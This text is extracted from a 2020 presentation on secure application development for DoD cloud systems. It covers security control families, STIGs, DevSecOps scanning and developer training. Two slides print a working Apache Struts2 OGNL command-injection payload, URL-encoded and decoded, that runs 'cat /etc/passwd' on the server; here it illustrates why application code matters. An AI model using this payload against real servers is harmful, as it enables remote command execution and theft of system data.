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Developing Secure 
Applications in the Cloud
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Application 
Security: 1997
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Putting 
Security on an 
Insecure App
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Capital One 
Server-Side 
Request 
Forgery (SSRF)
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Fixing Passwords in Logs

… password=p@$$w0rd …

searchFor=(password=)[^;]*:replaceWith=$1____REMOVED____:

… "password" : "p@$$w0rd" …

… password=____REMOVED____ …
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Securing Custom 
Applications

• Many DoD Contracts involve software 
development

• ATO demands that the program demonstrate 
that it is secure.

• Each system is subject to a set of security 
controls

• An ATO will require submitting documentation 
explaining how those controls are implemented

• Let’s look at these controls
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Control 
families

• AC - Access Control

• AU - Audit and Accountability

• AT - Awareness and Training

• CM - Configuration 
Management

• CP - Contingency Planning

• IA - Identification and 
Authentication

• IR - Incident Response

• MA - Maintenance

• MP - Media Protection

• PS - Personnel Security

• PE - Physical and Environmental 
Protection

• PL - Planning

• PM - Program Management

• RA - Risk Assessment

• CA - Security Assessment and 
Authorization

• SC - System and Communications 
Protection

• SI - System and Information 
Integrity

• SA - System and Services 
Acquisition

7© 2020 Superlative Technologies



Control 
families: 
Inheritance

• AC - Access Control

• AU - Audit and Accountability

• AT - Awareness and Training

• CM - Configuration 
Management

• CP - Contingency Planning

• IA - Identification and 
Authentication

• IR - Incident Response

• MA - Maintenance

• MP - Media Protection

• PS - Personnel Security

• PE - Physical and Environmental 
Protection

• PL - Planning

• PM - Program Management

• RA - Risk Assessment

• CA - Security Assessment and 
Authorization

• SC - System and Communications 
Protection

• SI - System and Information 
Integrity

• SA - System and Services 
Acquisition
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RHEL 7Redhat Enterprise Linux 7

Example: Simple Web Application

Firewall Apache Tomcat Database

Java

HTTPS HTTPS HTTPS TLS

App
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Securing Our Application: Domains

Policy and Procedure

Application Code

Platform

Infrastructure • Firewall
• Networking
• Physical location

• Java
• Apache
• Database
• Linux

• User registration
• Incident Response
• Continuous monitoring

• Best Practices
• Controls
• STIGs

• Controls
• Best Practices

• Best Practices
• Controls
• STIGs
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What is a STIG?

Controls

SRG

STIG

NIST SP 800-53 controls

Controls applied to category

Category applied to product
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RHEL 7Redhat Enterprise Linux 7

Platform and Infrastructure

Firewall Apache Tomcat Database

Java

HTTPS HTTPS HTTPS TLS

All traffic to 
port 443

STIG

STIG

STIG

STIG
SRG

PKI

STIG
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Redhat Enterprise Linux 7

Using Cloud Technology

Firewall Apache Tomcat

Java

HTTPS HTTPS HTTPS

All traffic to 
port 443

STIG

STIG

STIG

SRG

PKI

Managed
Database

STIG

TLS
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Redhat Enterprise Linux 7

“Cloudier” Version

Firewall
/

Load 
Balancer

Managed
Database

HTTPS HTTPS

TLS
STIG

Apache

Spring Boot App

Java

STIG

STIG

STIG

STIG

All traffic to any 
Apache image
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Redhat Enterprise Linux 7

“Even Cloudier” Version

API
Gateway

Managed
Database

HTTPS HTTPS
TLS

STIG

Spring Boot App

Java

STIG

OSI Layer 7 routing 
capability sends each 

request to the 
correct microservice.
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Managed Container 
Orchestration

“Cloudiest?” Version

API
Gateway

Managed
Database

HTTPS HTTPS
TLS

STIG

Spring Boot App

Java

OSI Layer 7 routing 
capability sends each 

request to the 
correct microservice.
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Platform

Securing the Application

Application
HTTPS

Web
Application

Firewall

HBSS

SIEM
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Charles’ Hot Take

An application should be 
secure without a single 
piece of infrastructure 

security.
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RHEL 7Redhat Enterprise Linux 7

Back to the Future

Firewall Apache Tomcat Database

Java

HTTPS HTTPS HTTPS TLS
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Command Injection via URL

http://struts2.com/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtr

ue%29.%28%23cmd%3D%27cat%20%22\etc\passwd%22%27%29.%28%23iswin%3D%28%40java.la

ng.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27

%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd

%7D%3A%7B%27bash%27%2C%27-

c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%

29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28

%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStre

am%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStrea

m%28%29%2C%23ros %29%29.%28%23ros.flush%28%29%29%7D/help.action

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new 
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros 
)).(#ros.flush())}
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The Injected Code

http://struts2.com/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20%22\etc\passwd%22%27%29.%28%23iswin%3D%28%40java.lang.System%40getProper

ty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-

c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.

apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros

%29%29.%28%23ros.flush%28%29%29%7D/help.action

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='cat /etc/passwd').
(#cmds={'bash','-c',#cmd}).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros )).
(#ros.flush())}

21© 2020 Superlative Technologies



Managed Container 
Orchestration

Developing Secure Software

API
Gateway

Managed
Database

HTTPS HTTPS
TLS

Spring Boot App

Java

STIG
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Automated Scanning
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Backdoor in Linux
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Something Fortify Won’t Find

String password = "p@$$w0rd";

String mellon = "p@$$w0rd";
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This is your 
best tool to 
stop security 
flaws
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Cost is a Factor

Security Programming

W
e are h

e
re

$
$
$
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Cost is a Factor: The Cost of Failure

This Photo by Unknown Author is licensed under CC BY
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https://www.troyhunt.com/an-analysis-of-isis-hit-list-of-hacked/
https://creativecommons.org/licenses/by/3.0/


Security 
Champion 
Approach

This Photo by Unknown Author is licensed under CC BY-SA-NC
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https://socratesunderground.com/2015/08/24/stealth-teaching/
https://creativecommons.org/licenses/by-nc-sa/3.0/


What is 
Good 

Security 
Training?
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What is 
Good 

Security 
Training?
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What is 
Good 

Security 
Training?
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Security 
Champion 
Approach

This Photo by Unknown Author is licensed under CC BY-SA-NC
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https://socratesunderground.com/2015/08/24/stealth-teaching/
https://creativecommons.org/licenses/by-nc-sa/3.0/


Have a Plan: 
OWASP 
SAMM
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Managed Container 
Orchestration

Serverless Computing

API
GatewayHTTPS HTTPS

Spring Boot App

Java
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Circle Back to the Cloud: Lambdas

Managed Serverless Function 
Platform

API
GatewayHTTPS HTTPS

Service Logic
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SAML
IDP



Security Validation in the DevSecOps Pipeline
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Build Unit Test Dev Test Stage Test Production

Fortify and 
Sonarqube

scans

Tests include 
security logic

Tests include 
security logic

Test again in 
production 

configuration

Application 
passes all 

tests

A failure of 
any test halts 

the build



Finally

• Realize:

• A software development program focusing on infrastructure 
security is becoming anachronistic

• Checklists and scanners are useful to cover your bases, but we can’t 
rely on them

• Move forward:

• Use the evolution of cloud technologies reduces the attack surface

• Redirect resources (time and money) from infrastructure to code

• Invest in security training for developers

• Have a plan for your SDLC
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